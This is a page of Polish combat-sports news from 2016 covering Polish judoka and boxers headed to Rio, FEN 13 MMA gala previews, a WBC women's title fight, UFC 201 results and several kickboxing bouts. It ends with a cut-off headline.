Mija dwadzieścia lat, od kiedy po mistrzostwo olimpijskie w Atlancie sięgnął Paweł Nastula. Czy w końcu uda się przełamać niemoc w polskim judo? Wśród panów o medal powalczy Maciej Sarnacki (+100kg). Zawodnik z Olsztyna w tym roku stanął na trzecim stopniu podium w Grand Prix w Tbilisi. Pewne startu w Rio były Katarzyna Kłys (70kg) oraz Daria Pogorzelec (78kg). Do końca o kwalifikację olimpijską walczyła Arleta Podolak (57kg), która w tym roku wygrała dwa turnieje. 

W Rio zaprezentuje się również dwóch polskich bokserów. Tomasz Jabłoński zaprezentuje się w wadze średniej. Urodzony w Gdyni pięściarz w ubiegłym roku wywalczył wicemistrzostwo Europy. Pokonując w Baku Julio Cesara Castillo kwalifikację olimpijską wywalczył Igor Jakubowski w wadze ciężkiej. Polak ma również dobre wspomnienia z Samokowa, gdzie zdobył srebro. Jakubowski jest wielką nadzieją wagi ciężkiej na medal olimpijski. Ostatnim Polakiem w kategorii królewskiej, który stał na podium igrzysk był Andrzej Gołota w 1988 roku w Seulu.

Karol Robak (68kg) i Piotr Paziński (80kg) będą reprezentowali Polskę w taekwondo. Niespełna 19-letni zawodnik ma ogromny potencjał. W zeszłym roku Robak sięgnął po srebro Igrzysk Europejskich w Baku. Doświadczony Paziński ma za sobą starty w mistrzowskich imprezach, ale występ na igrzyskach będzie dla niego ogromnym wyzwaniem. W tym roku blisko 29-letni zawodnik sięgnął po brąz europejskiego czempionatu, który odbył się w Montreux.

Ile za medal?

Występ na Igrzyskach Olimpijskich to ogromny prestiż, spełnienie marzeń, ale też pieniądze. Na jaką premię za medal mogą liczyć nasi zawodnicy?

Polski Komitet Olimpijski dokonał podziału na dwie grupy: dyscypliny indywidualne i gry zespołowe, w których znajdują się podgrupy. W odniesieniu do sportów walki zastosowanie ma regulamin konkurencji indywidualnych. Za złoto zawodnik może dostać do 120 tys. zł, srebro wyceniane jest do 80 tys. zł, a brąz do 50 tys. zł.

Fot. pixabay.com

KM

Zbiciak zamiast Zawadzkiego na gali FEN 13 Summer Edition

Tomasz Zawadzki z powodu kontuzji nie zadebiutuje 13 sierpnia w organizacji Fight Exclusive Night na gali FEN 13 Summer Edition w Gdynia Arena. Dwukrotnego Wojskowego Mistrza Polski MMA w walce z Bartłomiejem Koperą zastąpi Przemysław Zbiciak z klubu Kaiser Sports Olsztyn.

Tomasza Zawadzkiego z rywalizacji na gali FEN 13 Summer Edition wykluczyło zapalenie okostnej kości piszczelowej – typowa i dość częsta kontuzja przeciążeniowa będąca efektem intensywnych przygotowań i dużych obciążeń treningowych. Aby nie ryzykować zdrowiem, fighter MMA Team Ełk zdecydował się wycofać z walki, dzięki czemu szansę debiutu w klatkoringu Fight Exclusive Night otrzymał Przemysław „Kajzer” Zbiciak (28 lat, 178 cm, 5-3), pochodzący z Olsztyna zawodnik specjalizujący się w mieszanych sztukach walki i brazylijskim jiu-jitsu.

„Kajzer” przez wiele lat trenował w słynnym klubie Arrachion Olsztyn, ale w 2012 roku wspólnie z kickbokserem Marcinem Karbowskim założył klub Kaiser Sports i dziś reprezentuje jego barwy. Jako amator stoczył 10 walk w formule MMA, z każdej z nich wychodząc zwycięsko. Do swoich największych osiągnięć zalicza Mistrzostwo Polski Amatorskiego MMA, Puchar Polski ALMMA oraz Mistrzostwo Polski ADCC w Submission Fighting.

Na zawodowej arenie debiutował w 2007 roku.  W ciągu trzech lat walczył siedem razy, mierząc się m.in. z Marcinem Heldem i Alanem Omerem z Iraku. W grudniu ubiegłego roku, po pięcioletniej przerwie, w czasie której skoncentrował się głównie na rozwijaniu własnego klubu i szkoleniu młodych adeptów sztuk walki, dopisał do swego rekordu kolejne zwycięstwo, pokonując na gali Kaiser Fight Night 1 w Olsztynie doświadczonego Białorusina Semena Tyrlyę.

Przemysław Zbiciak wszystkie swoje wygrane pojedynki kończył już w pierwszej rundzie. Czy na gali FEN 13 Summer Edition znów uda mu się ta sztuka? Będzie o to z pewnością bardzo trudno, bo faworytem walki będzie Bartłomiej „Małpa” Kopera, jeden z najlepszych zawodników wagi piórkowej w Polsce, wielokrotny amatorski mistrz Polski w MMA, mistrz Polski w brazylijskim jiu-jitsu i medalista mistrzostw Polski w judo, który również specjalizuje się w wygrywaniu walk przed czasem. W aż pięciu z siedmiu wygranych walk zmuszał swoich rywali do poddania, pokonując w taki sposób m.in. Rosjanina Vladimira Karasiova, Litwinów Linasa Griguolę i Dariusa Mikuzisa oraz Węgra Tamasa Polgara.

Oprócz starcia Przemka Zbiciaka z Bartłomiejem Koperą kibice na gali FEN 13 Summer Edition zobaczą siedem innych walk na zasadach MMA, m.in. Piotra Hallmanna z Kamilem Łebkowskim, Marcina Gułasia z Michałem Wlazło, Mariana Ziółkowskiego z Jackiem Kreftem oraz Bartosza Chyrka z Ireneuszem Szydłowskim. Kibiców czeka także pięć pojedynków w formule K-1, m.in. Kryspina Kalskiego z Arkadiuszem Wrzoskiem, Marcina Szredera z Arturem Bizewskim, Róży Gumiennej z Kamilą Bałandą i Jarosława Daschke z Marcinem Stopką.

Bilety na FEN 13 Summer Edition można jeszcze kupić w serwisach Eventim.pl oraz KupBilet.pl, a zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 13 Summer Edition znajdziecie na stronie internetowej Fight Exclusive Night oraz fanpage’u federacji FEN na Facebooku.

FEN

Polka powalczy o mistrzostwo świata

Ewa Piątkowska stanie przed szansą zdobycia mistrzowskiego pasa WBC w kategorii super półśredniej. Popularna „Tygrysica” 17 września w Ergo Arenie skrzyżuje rękawice z Aleksandrą Magdziak Lopes.

Ostatnie miesiące obfitują w sukcesy Ewy Piątkowskiej. Niespełna 32-letnia bokserka wywalczyła mistrzostwo Europy w wadze półśredniej, co spowodowało, że jej notowania poszły w górę. Teraz przed byłą rugbystką najważniejsze starcie w dotychczasowej karierze.

Rywalka urodzona w Polsce

W ringu spotkają się dwie pięściarki, w których żyłach płynie polska krew. Aleksandra Magdziak Lopes urodziła się i dorastała w Gliwicach. W wieku 16 lat przeniosła się do Stanów Zjednoczonych, gdzie skończyła studia i rozwijała swoją pasję do sportów walki. Początkowo trenowała zapasy oraz kickboxing, a z czasem zdecydowała się na boks. Pierwszą zawodową walkę stoczyła w marcu 2009 roku, ale debiutu nie zaliczy do udanych. Pogromczynią urodzonej w Gliwicach bokserki była Kali Reis. Do tej pory Magdziak Lopes trzy razy walczyła o mistrzowskie pasy i dwa razy schodziła z ringu pokonana. Wygrała… kilka dni temu pojedynek o wakujący tytuł WBC Silver w wadze połśredniej. Do tej pory stoczyła dwadzieścia jeden walk, z czego szesnaście wygrała, trzy przegrała i dwie zremisowała. 36-latka nie ma ciosu nokautującego, tylko raz wygrała przed czasem.

Ewa Piątkowska pierwszą zawodową walkę stoczyła ponad trzy lata temu. Dotychczas przegrała tylko raz – we wrześniu ubiegłego roku z Ewą Brodnicką o prymat w kobiecym boksie w Polsce. Jednak od tamtego momentu Piątkowska zrobiła ogromne postępy. W listopadzie pokonała Marie Riederer w walce o mistrzostwo Europy wagi półśredniej. Dobra postawa znalazła odzwierciedlenie w rankingach. Wśród najlepszych pięściarek globu wagi półśredniej portalu statystycznego boxrec.com Polka znalazła się na czele. W tym roku Piątkowska zaprezentowała się w Tarnowie, gdzie świętowała dziewiąte zwycięstwo w karierze, pokonują Karinę Kopińską. 

Teraz przed niespełna 32-latką urodzoną w Radomiu kolejne wyzwanie. Piątkowska stanie przed ogromną szansą na wywalczenie mistrzostwa świata WBC. „Tygrysica” będzie miała ogromne wsparcie w kibicach zgromadzonych w Ergo Arenie. Warto wspomnieć, że podczas gali Polsat Boxing Night, która odbędzie się 17 września, Krzysztof Głowacki stanie do obrony tytułu mistrzowskiego WBC wagi junior ciężkiej w rywalizacji z Oleksandrem Usykiem.

Czas na prezent

Wydarzenie ma ogromną rangę, gdyż po raz pierwszy pojedynek o mistrzostwo świata prestiżowej organizacji w kobiecym boksie odbędzie się w Polsce. Magdziak Lopes to doświadczona bokserka, ale w walkach o stawkę układało jej się różnie. Piątkowska przeżywa najlepsze chwile w karierze i będzie rywalizowała przed własną publicznością. Dodatkowo dzień przed galą będzie świętowała 32. urodziny. Pomysł na prezent chyba już ma.

Fot. pixabay.com

KM

Marcin Gułaś rywalem Michała Wlazło na gali FEN 13 Summer Edition

Michał Wlazło zmierzy się z Marcinem Gułasiem na gali FEN 13 Summer Edition. Dla zawodnika Brzostek Top Team i Piranha Grappling Team walka 13 sierpnia w Gdynia Arena będzie debiutem w organizacji Fight Exclusive Night.

Marcin „Jagoda” Gułaś (31 lat, 188 cm, 6-5-1) to dwukrotny brązowy medalista mistrzostw Polski w formule ADCC Submission Fighting. Jako zawodowiec na zasadach MMA walczy od 2007 roku. Większość swoich walk stoczył w kategorii średniej i półciężkiej, mierząc się m.in. z takimi mocnymi i doświadczonymi zawodnikami, jak Rumun Ion Pascu, Tomasz Kondraciuk i Marcin Elsner oraz znani publiczności gal FEN Marcin Bandel i Rafał Haratyk. Dwie jego ostatnie walki to już jednak waga ciężka – w listopadzie 2014 roku już w pierwszej minucie starcia wygrał z Kamilem Walusiem, a w maju ubiegłego roku uległ przed czasem Jędrzejowi Maćkowiakowi. W tej kategorii zakontraktowany został także jego pojedynek z Michałem Wlazło na gali FEN 13 Summer Edition.

„Jagoda” sporty walki trenuje od ósmego roku życia – zaczynał od karate i kung-fu, później zainteresował się capoeirą, aby ostatecznie skoncentrować się na mieszanych sztukach walki. Obecnie jest podopiecznym trzech świetnych fachowców:  techniki stójkowe doskonali pod okiem Macieja Brzostka, walkę w parterze trenuje ze Zbigniewem Tyszką, a nad motoryką pracuje z Maciejem Bielskim. Wolny od treningów czas poświęca nowej sportowej pasji, czyli skokom spadochronowym (ma za sobą pierwsze skoki), zarządzaniu własnym biznesem (jest właścicielem sushi baru w Redzie) oraz… grze na fortepianie (jest absolwentem Państwowej Szkoły Muzycznej w Gdyni).

Dla Michała Wlazło (33 lata, 195 cm, 3-2-0) walka z Marcinem Gułasiem będzie szóstą zawodową walką MMA, a zarazem drugim występem w klatkoringu FEN. Podobnie jak „Jagoda”, na zawodowstwo przeszedł w 2007 roku. Wcześniej z sukcesami trenował capoeirę, kickboxing i muay thai – był m.in. zawodowym mistrzem Europy w K-1 federacji UPKA i wielokrotnym mistrzem Polski w muay thai. Ostatni pojedynek w formule MMA stoczył pod koniec ubiegłego roku na gali RXF 21 w Bukareszcie. W walce wieczoru tej imprezy sprawił miejscowym kibicom przykrą niespodziankę, dosłownie demolując ważącego 160 kg rumuńskiego olbrzyma Alexandra Lungu. W międzyczasie dwukrotnie we Florencji brał udział w słynnym turnieju calcio storico, czyli średniowiecznego pierwowzoru piłki nożnej, stanowiącego połączenie walki wręcz z futbolem.

13 sierpnia na gali FEN 13 Summer Edition w Gdynia Arena na zasadach MMA walczyć będą również Piotr Hallmann z Kamilem Łebkowskim, Marian Ziółkowski z Jackiem Kreftem, Bartek Kopera z Tomaszem Zawadzkim, Bartosz Chyrek z Ireneuszem Szydłowskim i Robert Rajewski Jr z Aleksandrem Georgasem. Kibice zobaczą także pojedynki w formule K-1 Kryspina Kalskiego z Arkadiuszem Wrzoskiem, Marcina Szredera z Arturem Bizewskim, Róży Gumiennej z Kamilą Bałandą, Jarosława Daschke z Marcinem Stopką i Karola Kruzela z Jakubem Rajewskim. Nazwiska kolejnych uczestników gali ogłoszone zostaną w najbliższych dniach.

Bilety na FEN 13 Summer Edition można już kupować w serwisach Eventim.pl oraz KupBilet.pl, a zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 13 Summer Edition znajdziecie na stronie internetowej Fight Exclusive Night oraz fanpage’u federacji FEN na Facebooku.

FEN

FEN 13 Summer Edition – Trailer

Gala FEN 13 Summer Edition zbliża się wielkimi krokami – do największego wydarzenia tego lata i jednego z najważniejszych w polskich sportach walki w tym roku zostało już tylko 12 dni. Zapraszamy do obejrzenia oficjalnej filmowej zapowiedzi tych zawodów, w których udział wezmą tacy znakomici fighterzy, jak Piotr Hallmann, Kamil Łebkowski, Michał Wlazło, Marcin Szreder, Arkadiusz Wrzosek, Róża Gumienna, Kamila Bałanda, Jarosław Daschke, Jacek Kreft i Marian Ziółkowski.

Przypominamy o możliwości akredytowania się na galę FEN 13 Summer Edition – formularz zgłoszeniowy można wypełnić na stronie FEN: www.fen-mma.com/akredytacje lub w systemie Accredito.com: www.accredito.com/fen

[kod]

Złota Dąbrowska

Nasi juniorzy wzięli udział w Pucharze Europy w judo w Berlinie. Powody do zadowolenia może mieć Anna Dąbrowska, która w kategorii 57kg wywalczyła złoty medal.

W poprzednim starcie nasi judocy zaprezentowali się w Pradze, jednak wtedy zabrakło miejsc na podium. O krok od medalu była Anna Isenko, która w 63kg zajęła 5. pozycję. Berlin okazał się szczęśliwy dla Polek startujących w kategorii 57kg.

Judoczka na szóstkę

18-letnia Dąbrowska szła jak burza i nie zwracała uwagi na to, z kim przychodzi jej rywalizować. Młoda Polka odsyłała kolejne rywalki z kwitkiem i pewnie zmierzała do finału. Dąbrowska w eliminacjach wygrała przez waza-ari z Aniek Norder, a następnie szybko wyeliminowała Ariel Bezalel. Niezwykle zacięta była trzecia walka, w której 18-latka spotkała się z Veronique Mandeng. Dąbrowska wygrała przez yuko. W kolejnym starciu okazała się lepsza od Gruzinki Eteri Liparteliani. Dwie decydujące walki Dąbrowska wygrała przed czasem. W finale pokonała Adelinę Dobre, czyli aktualną mistrzynię Europy juniorek.

Z dobrej strony pokazała się Julia Kowalczyk (57kg). Polka dobrze wystartowała, jednak w trzecim starciu nie dała rady Larissie Krevel, która wygrała przez waza-ari. W repasażach Kowalczyk stoczyła wyrównany pojedynek z Hannah Schneider i o jej powodzeniu zadecydowały dwie kary shido po stronie rywalki. Następnie judoczka Polonii Rybnik szybko uporała się z Mariam Janashvili. W rywalizacji o brązowy medal Polka spotkała się z Lele Nairne, która w półfinale przegrała z Anną Dąbrowską. Brytyjka nie będzie miło wspominać rywalizacji z naszymi zawodniczkami. Polki wybiły jej marzenia o medalu. Kowalczyk wygrała przez ippon i stanęła na trzecim stopniu podium.

Dąbrowska i Kowalczyk nadal utrzymują wysoką formę. Judoczki z kolejnych mistrzowskich imprez przywożą medale. Wszyscy z nadzieją patrzą na zbliżające się mistrzostwa Europy juniorek w Maladze, które za niecałe dwa miesiące. Z pewnością Polki są faworytkami do wywalczenia medali w 57kg. 

Na dwóch koniec

Dwa medale to dorobek reprezentacji Polski podczas Pucharu Europy juniorów w Berlinie. Pozostałym biało-czerwonym nie udało się wskoczyć do czołówki. Na wyróżnienie zasługuje Krzysztof Załęczny w kategorii +100kg. Polski judoka zaczął od zwycięstwa z Naorem Itahem, ale później przytrafiła mu się porażka. Załęczny trafił do repasaży, gdzie walczył ze zmiennym szczęściem. Ostatecznie uplasował się na siódmej pozycji. 

W Berlinie wystąpiło ponad 500 młodych judoków. Najsilniejszej obsadzona była kategoria 73kg wśród panów, gdzie pojawiło się 54 zawodników. 

Z triumfu w klasyfikacji medalowej mogą cieszyć się Francuzi, którzy wywalczyli dziesięć medali. Złote krążki zdobyli: Maxime Merlin (55kg), Romaric Wend-Yam Bouda (60kg), Astride Gneto (52kg) i Julia Tolofua (+78kg). Rosja zdobyła dziewięć medali, a Włochy cztery. Tak jak i Niemcy, którzy sięgnęli po dwa złota, srebro oraz brąz.

KM

Kowalkiewicz pokonała faworytkę

Podczas gali UFC 201 Karolina Kowalkiewicz spotkała się z Rose Namajunas. Przed pojedynkiem Polka nie uchodziła za faworytkę rywalizacji, jednak w oktagonie pokazała klasę i zwyciężyła na punkty.

Trzeci występ 30-letniej zawodniczki z Łodzi w UFC i trzecie zwycięstwo. Wygrana z mocną Namajunas ma ogromną wartość, gdyż może okazać się dla Kowalkiewicz krokiem do walki o pas kategorii słomkowej, który znajduje się w posiadaniu Joanny Jędrzejczyk.

Rozkręcała się

Kowalkiewicz w amerykańskiej organizacji debiutowała w grudniu 2015 roku. W pierwszej walce odprawiła Randę Markos, co pozwoliło jej uwierzyć w siebie i kontynuować dobrą pracę. Również Hearther Clark nie dała rady Polce, która w końcu zasłużyła na poważną walkę. Prawdziwym testem miało być starcie z Rose Namajunas. Amerykanka z litewskimi odniosła trzy zwycięstwa z rzędu w UFC i na horyzoncie widziała już walkę o pas. Musiała pokonać ostatnią przeszkodę.

Namajunas lepiej rozpoczęła starcie, choć nie można powiedzieć, że w sposób wyraźny. Pod koniec rundy sprowadziła pojedynek do parteru, co dało jej przewagę w oczach sędziów. Jednak wraz z upływem czasu Kowalkiewicz znalazła sposób na zneutralizowanie atutów rywalki. 30-letnia Polka dobrze radziła sobie w klinczu, używając kolan i łokci. W trzeciej odsłonie Amerykanka robiła wszystko, żeby skracać dystans. Próby sprowadzenia do parteru okazywały się nieudane. Kowalkiewicz dobrze radziła sobie w stójce. W końcówce rundy posłała rywalkę na deski i była z góry, co pozwoliło jej całkowicie panować nad Namajunas.

Sędziowie nie byli jednogłośni. Jeden z nich widział minimalne zwycięstwo Namajunas (29:28), jednak dwóch kolejnych punktowało podobnie na korzyść Polki. Czy trzecie zwycięstwo w UFC daje nadzieję na walkę o pas? To dopiero się okaże. Z taką wiarą do walki z Kowalkiewicz przystępowała Namajunas, jednak pogrzebała swoją szansę.

Porażka Grabowskiego

Na gali w Atlancie zaprezentował się również Damian Grabowski. Dla Polaka było to drugie starcie w UFC, w którym chciał zmazać plamę z debiutanckiego występu, kiedy to w pierwszej rundzie przegrał z Derrickiem Lewisem. Mało kto spodziewał się, że może być gorzej. Anthony Hamilton potrzebował zaledwie czternastu sekund, aby wygrać rywalizację z 36-letni Polakiem.

Pas kategorii półśredniej zmienił właściciela. Tyron Woodley był ogromnie spragniony sukcesu, co potwierdził już w pierwszej odsłonie starcie z Robbim Lawlerem. Powrót po długiej przerwie ukazał się udany dla 34-letniego Amerykanina. Woodley posłał Lawlera na deski mocnym sierpem po upływie nieco ponad dwóch minut rywalizacji.

Również w pierwszej rundzie ze zwycięstwa mógł cieszyć się Jake Ellenberger w starciu z Mattem Brownem. Erick Perez na punkty pokonał Francisco Riverę, a Ryon Benoit niejednogłośną decyzją odniósł triumf w walce z Freddy'm Serrano.

KM

Kasperski odprawił Negreę

Dawid Kasperski nie boi się kolejnych wyzwań. Polski kickboxer pojechał do rumuńskiej miejscowości Mamaja, aby wystąpić na gali Superkombat WGP 2016. Kasperski pokazał się z dobrej strony i Alexandru Negrea musiał pogodzić się z porażką.

Polski zawodnik ma dobre wspomnienia związane z występami w Rumunii. W kwietniu 2014 roku wygrał turniej World Grand Prix na gali organizacji Superkombat. Kolejną wizytę również będzie wspominał miło.

Rozdawał karty

Negrea nie potrafił wykorzystać atutu własnego terenu. Z kolei Kasperski skoncentrował się tylko i wyłącznie na walce, nie zwracając uwagi na czynniki zewnętrzne. W ringu był on i rywal, co miało najważniejsze znaczenie. Kasperski konsekwentnie realizował swój plan.

26-letni zawodnik rywalizujący w kategorii 86kg dyktował warunki rywalizacji. Reprezentant Punchera Wrocław wyznaczał tempo walki, co z pewnością frustrowało Rumuna, ale ten nie był w stanie znaleźć sposobu na dobrze dysponowanego Kasperskiego. Polak atakował na dystansie uderzeniami i kopnięciami, które dochodziły do celu. Negrea liczył, że uda mu się zagrozić Kasperskiemu sierpami, jednak ta sztuka nie powiodła się. 

Na plus 26-latka należy zapisać również przygotowanie kondycyjne. Mimo upływających minut po Kasperskim nie widać było nadmiernego zmęczenia, czego nie można powiedzieć o Negrei. Rumun nie wytrzymał trudów starcia, nie potrafił również zagrozić Polakowi. Konsekwencja Kasperskiego okazała się kluczem do zwycięstwa. Sędziowie zdecydowanie wskazali na 26-letniego zawodnika wrocławskiego Punchera.

Warto przypomnieć, że walka miała szczególną wartość. Zwycięstwo dawało przepustkę do rywalizacji o pas mistrzowski w wadze super półciężkiej. Kasperski może już myśleć o starciu z Cesarem Almeidą.

Nie było Morosanu

W Rumunii wszyscy liczyli, że w ringu w kolejnym pojedynku na zasadach K-1 zobaczą Catalina Morosanu. Faworyt gospodarzy jednak nie wystąpił. W ostatniej chwili zastąpił go Sebastian Cozmanca, który w rywalizacji z Muratem Aygunem pokazał się z dobrej strony. Rumun walczył ambitnie, nieustępliwie i skutecznie. Z kolei Aygun to mocny zawodnik, który potrafi wyjść z opresji. Walka trzymała w napięciu i konieczna była dodatkowa runda. Po niej sędziowie uznali, że zwycięstwo należy się Turkowi.

Już w pierwszej rundzie w 71kg z rywalizacją pożegnał się Rangel Ivanov. Napór Amansio Paraschiva dał efekt i Rumun mógł cieszyć się z wygranej. W kategorii ciężkiej Andrei Sugar nie dał rady Robertowi Constantinowi. Włoch w drugiej rundzie znokautował Rumuna.

Na zdjęciu Dawid Kasperski po wygranej na gali Angels of Glory z Menno van Roosmalenem.

KM

Powrót w dobrym stylu

21-letnia Agnieszka Niedźwiedź miała okazję zaprezentować się na gali Invicta FC 18. Był to powrót zawodniczki do rywalizacji po dwuletniej przerwie. Polka zdominowała pojedynek z doświadczoną Christine Stanley.

Niedźwiedź stoczyła ósmą walkę w karierze w MMA, a pierwszą dla organizacji Invicta. Polka może być zadowolona ze swojego występu i nadal pozostaje niepokonana w oktagonie.

Udany powrót

Pierwszą walkę Niedźwiedź stoczyła w październiku 2012 roku, czyli w wieku zaledwie 17 lat. Polka rozbiła Agnieszkę Szewczyk podczas gali MMAC 11 już w pierwszej rundzie. Z każdym kolejnym występem prezentowała się coraz lepiej i szła do przodu. Trzy walki z rzędu wygrała przez nokaut, kolejną przed poddanie. Dopiero w piątym pojedynku rywalka wytrzymała z nią pełny dystans. Kerry Hughes stawiła opór Niedźwiedź, jednak Polka na przestrzeni trzech rund wyglądała zdecydowanie lepiej. 

W organizacji Cage Warriors prezentowała się na tyle dobrze, że po dwóch wygranych miała stanąć do rywalizacji o pas w kategorii koguciej. Wtedy przytrafiła się jej kontuzja żeber i tytuł oddalił się. Ostatnią walkę Niedźwiedź stoczyła w czerwcu 2014 roku. W trzeciej rundzie odprawiła Juliję Stoliarenko podczas Fighters Arena 9. 

Potem zniknęła na dwa lata. Powód – urlop macierzyński. Niedźwiedź spełniała się jako matka, opiekowała się swoją pociechą i w końcu nadszedł czas na powrót. Dostała szansę zaprezentowania się na gali kobiecej federacji Invicta FC. Na początku roku 21-latka rozpoczęła przygotowania do kolejnej walki. Zdecydowała również, że stoczy pojedynek w limicie kategorii muszej. Jej rywalką podczas gali Invicta 18 pierwotnie miała być Claudia Rey, która również ma nieskazitelny bilans. Na kilka dni przed walką okazało się, że do starcia nie dojdzie, gdyż Brazylijka nie dostała na czas wizy. W pośpiechu udało się znaleźć nową rywalkę dla 21-letniej Polki. Niedźwiedź spotkała się z doświadczoną Christine Stanley. 35-letnia Amerykanka stoczyła dwa pojedynki dla organizacji Invicta i wykazała się stuprocentową skutecznością.

Forma Niedźwiedź była sporą niewiadomą, gdyż dwa lata odpoczynku od rywalizacji mogły mieć wpływ na dyspozycję zawodniczki. Jednak w oktagonie Niedźwiedź prezentowała się pewnie. Polka dyktowała tempo walki i stopniowo budowała swoją przewagę. 21-latka zadawała skuteczne ciosy, a rywalka nie potrafiła jej odpowiadać. Niedźwiedź punktowała również dzięki obaleniom Amerykanki. W ostatniej odsłonie 21-latka z Katowic starała się poddać Stanley, jednak ta sztuka jej się nie powiodła. Na kartach sędziowskich wyraźnie widać dominację Polki. Wszyscy punktowali 30-27 na korzyść Niedźwiedź, co dało jej ósmą wygraną w karierze.

Kolejna podbija świat

Polki w świecie MMA radzą sobie coraz lepiej. W UFC w kategorii słomkowej dominuje Joanna Jędrzejczyk. Stara jej się dorównać Karolina Kowalkiewicz, która z walki na walkę wyglądała coraz lepiej w amerykańskiej organizacji.

Nowy rozdział otwiera Agnieszka Niedźwiedź. Udany powrót zwiastuje nadzieję na kolejne emocje. W końcu Polka ma dopiero 21 lat i wszystko przed nią.

Fot. sherdog.com

KM

Czeska przygoda Bławdziewicza

Kolejne doświadczenie w karierze 22-letniego reprezentanta warszawskiej Palestry. Michał Bławdziewicz wystąpił w kickboxerskim turnieju Yangames Fight Night Open Air 4. Zapewne Polak liczył, że będzie miał więcej powodów do zadowolenia. 

Bławdziewicz nie próżnuje. 22-latek ciężko trenuje i prezentuje się na kolejnych ringach, nie tylko w Polsce. Ostatnie walki nie potoczyły się po myśli zawodnika Palestry.

Mocny start

W Pradze ośmiu kickboxerów spotkało się w turnieju wagi ciężkiej. Wśród nich był Michał Bławdziewicz, który w pierwszym pojedynku rywalizował z Michalem Janackiem. Reprezentant warszawskiej Palestry mocno rozpoczął zmagania w Pradze i pokazał, że może namieszać w turnieju Yangames Fight Night Open Air 4. Janacek dostał prawdziwą lekcję kickboxingu w najlepszym wykonaniu. Bławdziewicz ruszył na rywala i w całości zdominował pojedynek, w efekcie czego Czech już w pierwszej rundzie pożegnał się z nadziejami na zwycięstwo. 22-letni Polak pokonał pierwszą przeszkodę i czekał na kolejnego rywala.

Los nie był łaskawy dla Bławdziewicza. W drugim starciu polski fighter spotkał się z Michalem Reissingerem, który uchodził za faworyta turnieju. Bławdziewicz starał się, jednak nie dotrwał do końca pojedynku. Reissinger budował swoją przewagę i decydującą akcję przeprowadził w drugiej rundzie, kiedy to Bławdziewicz był liczony.

Przygoda Polaka z czeskim turniejem zakończyła się na drugiej walce. Polak po raz kolejny zaznaczył swoją obecność na europejskiej arenie. Można stwierdzić, że pokazał dobry poziom. Odprawił w efektownym stylu reprezentanta gospodarzy, a przegrał nie z byle kim, lecz faworytem zmagań. Ostatecznie Reissinger sięgnął po triumf. W finale uporał się z Alessandro Lamonicą, którego znokautował w drugiej odsłonie.

Czeskie wspomnienia

Bławdziewicz nie gościł w Czechach po raz pierwszy. W marcu br. miał okazję wystąpić na gali Rivalove 3 w Pilźnie. Polski kickboxer pokazał charakter i wysokie umiejętności. Jego rywalem był Pavel Plesinec, który wobec naporu Bławdziewicza był bezradny. Z minuty na minutę przewaga zawodnika warszawskiej Palestry rosła. Trzeba przyznać, że Plesinec okazał się twardym rywalem, bo wytrzymał trzy rundy i w każdej przyjął mnóstwo ciosów. Sędzia liczył zawodnika z Czech, jednak ten wstawał i walczył dalej. Werdykt sędziowski wydawał się oczywisty. Bławdziewicz zwyciężył pewnie. Z pewnością z kolejnej wizyty u naszych południowych sąsiadów nie jest w pełni zadowolony.

Warto zauważyć, że Bławdziewicz cały czas jest na wysokich obrotach. Kilka tygodni temu rywalizujący w wadze ciężkiej Polak wystąpił na gali DSF Kickboxing Challenge 8. Bławdziewicz musiał uznać wyższość Litwina Mantasa Rimdeiki.

W czerwcu we Wrocławiu 22-letni zawodnik przegrał finałowy pojedynek w mistrzowstach Polski K-1. Lepszy od Bławdziewicza okazał się Michał Turyński.

KM

Rumuńskie wyzwanie Kasperskiego

Po raz kolejny Dawid Kasperski zaprezentuje się na gali organizacji Superkombat. Już 30 lipca wejdzie do ringu z Alexandru Negreą. 

Polski kickbokser to twardy zawodnik, który porywa publiczność swoimi walkami. Kasperski świetnie prezentuje się w kategorii 85kg, co potwierdził wielokrotnie. Dobre wrażenie pozostawił po swoim występie na gali Superkombat w kwietniu 2014 roku, kiedy to wygrał turniej World Grand Prix.

Wygrać przepustkę

Wspomnienia wracają jak bumerang. W turnieju w Resicie Dawid Kasperski pokazał, że Polak potrafi. Wtedy 24-letni zawodnik nie przestraszył się wyzwania przed jakim stanął. Polak rywalizował w jednej z czołowych organizacji kickbokserskich w Europie, która skupia najlepszych zawodników. W półfinale Kaperski odesłał z kwitkiem Cipriana Schiopu, który uchodził za faworyta. Polak wygrał jednogłośnie na punkty, a w finale stoczył zacięty bój z Errolem Koningiem. Po pojedynku mógł wznieść ręce w geście triumfu. Kasperki wygrał 2:1 i spełnił marzenia.

Teraz jest fighterem bardziej doświadczonym, a przede wszystkim jeszcze mocniejszym. Kasperski pokonuje stające przed nim wyzwania i ma nadzieję, że w Rumunii zrobi kolejny krok do przodu. Kibice z przyjemnością mogą podziwiać zawodowe walki 26-latka, który nie ma litości dla rywali. 

Jednak Alexandru Negrea przed Polakiem nie uklęknie. Rumun ma za sobą doświadczenie z występów na ringach bokserskich, a teraz coraz lepiej prezentuje się w K-1. W listopadzie w Bukareszcie 2015 Negrea prawym sierpowym już w pierwszej rundzie zakończył rywalizację z Noureddinem Echiguerem. Jednak prawdziwą klasę Negrea pokazał w rywalizacji z Melvinem Manhoefem. W kwietniu br. podczas gali Bellator 152 Rumun wygrał jednogłośnie na punkty z zawodnikiem pochodzącym z Surinamu. 

Dawid Kasperski w tym roku nie próżnował. Na mistrzostwach Polski K-1 sięgnął po złoty medal w rywalizacji w kategorii 86kg. W finale okazał się lepszy od Maksymiliana Bratkowicza. Do tegorocznych sukcesów należy dołożyć także triumf w Pucharze Świata w Budapeszcie. Pod koniec czerwca zaprezentował się na gali Angels of Glory, gdzie pokazał wysokie umiejętności. Kasperski jednogłośną decyzją sędziów pokonał Menno van Roosmalena.

Stawka rywalizacji z Negreą podczas gali w mieście Mamaia jest wysoka. Zwycięzca zyska miano pretendenta do tytułu w dywizji super półciężkiej. Przed Kasperskim spore wyzwanie, a wygrana otworzy drzwi do mistrzowskiej walki.

Powrót Morosanu

Po raz kolejny miłośnicy K-1 będą mogli podziwiać ciekawe wydarzenie. Kibice z Polski skupią się na występie Dawid Kasperskiego, który zaprezentuje się w pierwszej walce wieczoru. Rumuni z niecierpliwością czekają na powrót Catalina Morosanu. 32-latek to jeden z najpopularniejszych zawodników występujących na galach Superkombat. Jego rywalem będzie Murat Aygun.

W sumie podczas gali odbędzie się jedenaście walk.

KM

Wilder na stole

